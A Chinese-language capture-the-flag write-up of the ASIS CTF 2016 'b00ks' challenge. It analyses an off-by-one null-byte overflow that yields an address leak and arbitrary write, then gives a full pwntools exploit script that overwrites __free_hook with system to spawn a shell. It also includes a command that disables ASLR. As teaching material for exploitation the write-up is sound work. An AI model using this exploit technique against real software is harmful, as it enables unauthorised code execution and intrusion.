asis-ctf-2016 b00ks (off-by-one)
2016 asis ctf b00ks
考察点 off-by-one, mmap分配和libc基址偏移,
思路是利用单字节溢出漏洞覆盖地址最后一位让其落在可控制区域,这样就可以利用程序功能实现任意地址读写(构造合适的数据结构),最后通过__free_hook来获取shell
题目分析
题目是一个常见的菜单式程序,功能是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能:
通过分析,关键结构体book_struct如下
漏洞分析
程序中用于读取输入的read_input()函数(函数名字已重命名)存在off-by-one漏洞,当输入数据的长度正好为a2时,会向buf中越界写入一个字节\x00
。
signed __int64 __fastcall read_input(void *a1, int a2)
{
// ...
if ( a2 > 0 )
{
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *(_BYTE *)buf == 10 )
break;
buf = (char *)buf + 1;
if ( i == a2 )
break;
}
*(_BYTE *)buf = 0;
result = 0LL;
}
// ...
}
信息泄露漏洞
由于author_name_ptr
和global_book_struct_array
之间正好相差32个字节,当输入的author_name长度为32时,会向author_name_ptr
中越界写入一个字节\x00
。之后,在创建book_struct时,会将其地址保存在global_book_struct_array
中,覆盖之前的字符串截断符\x00
。因此,通过打印author_name可以实现信息信泄露。
off-by-one漏洞
通过修改author_name可以向author_name_ptr
中越界写入一个字节\x00
,这样会覆盖global_book_struct_array
中保存的第一个book_struct的地址。
漏洞利用
主要思想如下:创建2个book,通过单字节溢出,使得book1_struct
指针指向book1_description
中;然后在book1_description
中伪造一个book1_struct
,使得其中的book1_description_ptr
指向book2_description_ptr
;通过先后修改book1_description
和book2_description
,从而实现任意地址写任意内容的功能。
为了方便调试,临时禁用了系统的地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
创建book
book1的description的大小要尽量大一点(如140),保证当单字节溢出后book1_struct指针落在book1的description中,从而对其可控,为后续伪造book1_struct打下基础。book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。
从global_book_strcut_array(0x555555756060)
中可以看到,当发生null byte溢出时,book1_struct
的指针变为0x555555758100
,正好落在book1_description的范围内。
伪造book1_struct
为了使得伪造的book1_description_ptr
指向book2_description_ptr
,需要先知道book2_struct的地址,可以通过打印author_name从而泄露得到该地址。
之后通过修改book1_description
,伪造一个book1_struct
。可以看到book1_description_ptr
已经指向了book2_name_ptr
。(通过+8就能指向book2_description_ptr
)
空字节覆盖
修改author_name,覆盖global_book_struct_array
中保存的第一个book_struct
指针。之后通过打印book可以泄露得到book2_name_ptr
, 从而得到该地址与libc基址之间的偏移。
获取shell
通过先后修改book1_description
和book2_description
,可以实现任意地址写任意内容的功能。由于该程序启用了FULL RELRO
保护措施,无法对GOT
进行改写,但是可以改写__free_hook
或__malloc_hook
。
结合前面泄露的book2_name_ptr
和计算得到的偏移,可以计算出libc的基址,进一步可得到__free_hook
和system
函数运行时的地址,以及libc中字符串”/bin/sh”的地址。之后将__free_hook
指向的内容修改为system
的地址,在调用free
函数时,由于__free_hook
里面的内容不为NULL
,从而执行指向的指令。
#!/usr/bin/env python
from pwn import *
context(log_level='debug', os='linux')
def create_book(target, name_size, book_name, desc_size, book_desc):
target.recv()
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)
def delete_book(target, book_id):
target.recv()
target.sendline('2')
target.sendlineafter('Enter the book id you want to delete: ', str(book_id))
def edit_book(target, book_id, book_desc):
target.recv()
target.sendline('3')
target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
target.sendlineafter('Enter new book description: ', book_desc)
def print_book(target):
target.recvuntil('>')
target.sendline('4')
def change_author_name(target, name):
target.recv()
target.sendline('5')
target.sendlineafter('Enter author name: ', name)
def input_author_name(target, name):
target.sendlineafter('Enter author name: ', name)
DEBUG = 0
LOCAL = 1
if LOCAL:
target = process('./b00ks')
else:
target = remote('127.0.0.1', 5678)
libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000
if DEBUG:
pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))
input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created')
# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
book2_struct_addr = book1_struct_addr + 0x30
create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')
# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
edit_book(target, 1, payload)
change_author_name(target, 'a'*32)
# leak book2_name ptr
print_book(target)
target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# find in debug: mmap_addr - libcbase
offset = 0x7ffff7fd2010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)
payload = p64(system)
edit_book(target, 2, payload)
delete_book(target, 2)
target.interactive()